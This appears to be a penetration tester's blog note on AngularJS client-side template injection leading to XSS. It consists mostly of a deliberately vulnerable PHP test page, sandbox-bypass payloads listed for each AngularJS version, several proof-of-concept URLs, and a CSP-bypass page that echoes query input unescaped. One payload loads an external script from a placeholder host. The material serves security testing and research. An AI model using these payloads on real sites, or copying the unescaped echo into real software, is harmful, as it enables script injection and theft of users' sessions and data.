首页 » NetworkSec » Penetration » 正文

client side template injection with angulajs cause xss

I often meet angulajs when I test website,so I want to make a note.

<html ng-app>
<head>
<script src="./angular.js"></script>
</head>
<body>
<p>
<?php
$q = $_GET['q'];
 
//echo $q;
 
echo htmlspecialchars($q, ENT_QUOTES);
?>
</p>
</body>
</html>


 
POC
{{$id}} or {{1+1}}

POC:
http://127.0.0.1:8999/lsawebtest/vulenv/misc/angular-xss/test.php?q={{%27a%27.constructor.prototype.charAt=[].join;$eval(%27x=1}%20}%20};alert(0)//%27);}}

//If you are interested in it,you can research how to bypass the sandbox.
 
Tow cases:
https://www.freebuf.com/vuls/125932.html
http://www.secevery.com:4321/bugs/wooyun-2016-0190247
 

List of Sandbox bypasses from portswigger

1.0.1 – 1.1.5
Mario Heiderich (Cure53)
{{constructor.constructor(‘alert(1)’)()}}
 
1.2.0 – 1.2.1
Jan Horn (Google)
{{a=’constructor’;b={};a.sub.call.call(b[a].getOwnPropertyDescriptor(b[a].getPrototypeOf(a.sub),a).value,0,’alert(1)’)()}}
 
1.2.2 – 1.2.5
Gareth Heyes (PortSwigger)
{{‘a'[{toString:[].join,length:1,0:’__proto__’}].charAt=”.valueOf;$eval(“x='”+(y=’if(!window\\u002ex)alert(window\\u002ex=1)’)+eval(y)+”‘”);}}
 
1.2.6 – 1.2.18
Jan Horn (Google)
{{(_=”.sub).call.call({}[$=’constructor’].getOwnPropertyDescriptor(_.__proto__,$).value,0,’alert(1)’)()}}
 
1.2.19 – 1.2.23
Mathias Karlsson
{{toString.constructor.prototype.toString=toString.constructor.prototype.call;[“a”,”alert(1)”].sort(toString.constructor);}}
 
1.2.24 – 1.2.29
Gareth Heyes (PortSwigger)
{{‘a’.constructor.prototype.charAt=”.valueOf;$eval(“x=’\”+(y=’if(!window\\u002ex)alert(window\\u002ex=1)’)+eval(y)+\”‘”);}}
 
1.3.0
Gábor Molnár (Google)
{{!ready && (ready = true) && (
!call
? $$watchers[0].get(toString.constructor.prototype)
: (a = apply) &&
(apply = constructor) &&
(valueOf = call) &&
(”+”.toString(
‘F = Function.prototype;’ +
‘F.apply = F.a;’ +
‘delete F.a;’ +
‘delete F.valueOf;’ +
‘alert(1);’
))
);}}
 
1.3.1 – 1.3.2
Gareth Heyes (PortSwigger)
{{
{}[{toString:[].join,length:1,0:’__proto__’}].assign=[].join;
‘a’.constructor.prototype.charAt=”.valueOf;
$eval(‘x=alert(1)//’);
}}
 
1.3.3 – 1.3.18
Gareth Heyes (PortSwigger)
{{{}[{toString:[].join,length:1,0:’__proto__’}].assign=[].join;
‘a’.constructor.prototype.charAt=[].join;
$eval(‘x=alert(1)//’); }}
 
1.3.19
Gareth Heyes (PortSwigger)
{{
‘a'[{toString:false,valueOf:[].join,length:1,0:’__proto__’}].charAt=[].join;
$eval(‘x=alert(1)//’);
}}
 
1.3.20
Gareth Heyes (PortSwigger)
{{‘a’.constructor.prototype.charAt=[].join;$eval(‘x=alert(1)’);}}
 
1.4.0 – 1.4.9
Gareth Heyes (PortSwigger)
{{‘a’.constructor.prototype.charAt=[].join;$eval(‘x=1} } };alert(1)//’);}}
 
1.5.0 – 1.5.8
Ian Hickey
{{x = {‘y’:”.constructor.prototype}; x[‘y’].charAt=[].join;$eval(‘x=alert(1)’);}}
Or
{{x = {‘y’:”.constructor.prototype};x[‘y’].charAt=[].join;$eval(‘x=$.getScript(`https://xss.com/external-alert.js`)’);}}`
 
1.5.9 – 1.5.11
Jan Horn (Google)
{{
c=”.sub.call;b=”.sub.bind;a=”.sub.apply;
c.$apply=$apply;c.$eval=b;op=$root.$$phase;
$root.$$phase=null;od=$root.$digest;$root.$digest=({}).toString;
C=c.$apply(c);$root.$$phase=op;$root.$digest=od;
B=C(b,c,b);$evalAsync(”
astNode=pop();astNode.type=’UnaryExpression’;
astNode.operator='(window.X?void0:(window.X=true,alert(1)))+’;
astNode.argument={type:’Identifier’,name:’foo’};
“);
m1=B($$asyncQueue.pop().expression,null,$root);
m2=B(C,null,m1);[].push.apply=m2;a=”.sub;
$eval(‘a(b.c)’);[].push.apply=a;
}}
 
>=1.6.0
Mario Heiderich (Cure53)
{{constructor.constructor(‘alert(1)’)()}}
 
Other poc from a blog(I did not find the URL,sorry……)
v1.2.24-v1.2.26

 
v1.2.27-v1.2.29/v1.3.0-v1.3.20
http://127.0.0.1/test/xss/angular.php?q={{ {}.”)));alert(1)//”; }}
Work on v1.2.20-v1.2.32/v1.3.0-v1.3.20.
 
v1.4.0-v1.4.5(only chrome)
http://127.0.0.1/test/xss/angular.php?q={{ o={};l=o[[‘__lookupGetter__’]];(l=l)(‘event’)().target.defaultView.location=’javascript:alert(1)’; }}
 
v1.4.5-1.5.8 (only chrome)
http://127.0.0.1/test/xss/angular.php?q={{ x={y:”.constructor.prototype};x.y.charAt=[].join;[1]|orderBy:’x=alert(1)’ }}
 
v1.6.0-1.6.6
a operation from xianzi xss challage:
http://127.0.0.1/test/xss/angular.php?q={{ [].pop.constructor(‘alert(1)’)() }}
 
csp bypass (only chrome v1.4.0-v1.6.6)

<html ng-app><head>
    <?php
        header("Content-Security-Policy:default-src 'self';script-src code.angularjs.org 'self'");
    ?>
    <script src="https://code.angularjs.org/{version}/angular.min.js"></script></head><body>
    <p>
    <?php
        echo $_GET['q'];
    ?></p>   </body></html>

http://127.0.0.1/test/xss/angular.php?q=<input+autofocus ng-focus=”$event.path|orderBy:’!x?[].constructor.from([x=1],alert):0′”>
 
Reference:
https://portswigger.net/blog/xss-without-html-client-side-template-injection-with-angularjs
 

Comment

please input captcha *